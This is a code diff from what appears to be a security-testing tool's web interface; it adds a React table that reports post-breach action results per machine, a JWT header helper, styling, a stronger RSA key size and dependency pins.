generateReportRecommendationsSection() { generateReportRecommendationsSection() {
return ( return (
<div id="recommendations"> <div id="recommendations">
<h3> {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
Domain related recommendations * don't render it (since the issues themselves will be empty. */}
</h3> {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
<h3>Domain related recommendations</h3> : null }
<div> <div>
{this.generateIssues(this.state.report.recommendations.domain_issues)} {this.generateIssues(this.state.report.recommendations.domain_issues)}
</div> </div>
<h3> {/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
Machine related Recommendations * don't render it (since the issues themselves will be empty. */}
</h3> {Object.keys(this.state.report.recommendations.issues).length !== 0 ?
<h3>Machine related recommendations</h3> : null }
<div> <div>
{this.generateIssues(this.state.report.recommendations.issues)} {this.generateIssues(this.state.report.recommendations.issues)}
</div> </div>
@ -460,6 +463,9 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<BreachedServers data={this.state.report.glance.exploited}/> <BreachedServers data={this.state.report.glance.exploited}/>
</div> </div>
<div style={{marginBottom: '20px'}}>
<PostBreach data={this.state.report.glance.scanned}/>
</div>
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/> <ScannedServers data={this.state.report.glance.scanned}/>
</div> </div>

View File

@ -0,0 +1,82 @@
import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
return <span>{val.map(x => <span> {x}</span>)}</span>;
};
let renderIpAddresses = function (val) {
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
};
let renderMachine = function (data) {
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
};
let renderPbaResults = function (results) {
let pbaClass = "";
if (results[1]){
pbaClass="pba-success"
} else {
pbaClass="pba-danger"
}
return <div className={pbaClass}> {results[0]} </div>
};
const subColumns = [
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
];
let renderDetails = function (data) {
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
let showPagination = data.length > pageSize;
return <ReactTable
data={data}
columns={subColumns}
defaultPageSize={defaultPageSize}
showPagination={showPagination}
style={{"background-color": "#ededed"}}
/>
};
const columns = [
{
Header: 'Post breach actions',
columns: [
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
]
}
];
const pageSize = 10;
class PostBreachComponent extends React.Component {
constructor(props) {
super(props);
}
render() {
let pbaMachines = this.props.data.filter(function(value, index, arr){
return ( value.pba_results !== "None" && value.pba_results.length > 0);
});
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
let showPagination = pbaMachines > pageSize;
return (
<div className="data-table-container">
<ReactTable
columns={columns}
data={pbaMachines}
showPagination={showPagination}
defaultPageSize={defaultPageSize}
SubComponent={row => {
return renderDetails(row.original.pba_results);
}}
/>
</div>
);
}
}
export default PostBreachComponent;

View File

@ -15,6 +15,12 @@ export default class AuthService {
return this._authFetch(url, options); return this._authFetch(url, options);
}; };
jwtHeader = () => {
if (this._loggedIn()) {
return 'JWT ' + this._getToken();
}
};
hashSha3(text) { hashSha3(text) {
let hash = new SHA3(512); let hash = new SHA3(512);
hash.update(text); hash.update(text);

View File

@ -163,6 +163,18 @@ body {
* Configuration Page * Configuration Page
*/ */
.linux-pba-file-info, .windows-pba-file-info {
display: none
}
.filepond--root li {
overflow: visible;
}
.filepond--root * {
font-size: 1.04em;
}
.rjsf .form-group .form-group { .rjsf .form-group .form-group {
margin-left: 2em; margin-left: 2em;
} }
@ -412,6 +424,14 @@ body {
top: 30%; top: 30%;
} }
.pba-danger {
background-color: #ffc7af;
}
.pba-success {
background-color: #afd2a2;
}
/* Print report styling */ /* Print report styling */
@media print { @media print {

View File

@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
cd /var/monkey/monkey_island cd /var/monkey/monkey_island
openssl genrsa -out cc/server.key 1024 openssl genrsa -out cc/server.key 2048
openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt

View File

@ -1,5 +1,5 @@
python-dateutil python-dateutil
tornado tornado==5.1.1
werkzeug werkzeug
jinja2 jinja2
markupsafe markupsafe
@ -18,6 +18,7 @@ boto3
botocore botocore
PyInstaller PyInstaller
awscli awscli
bson
cffi cffi
virtualenv virtualenv
wheel wheel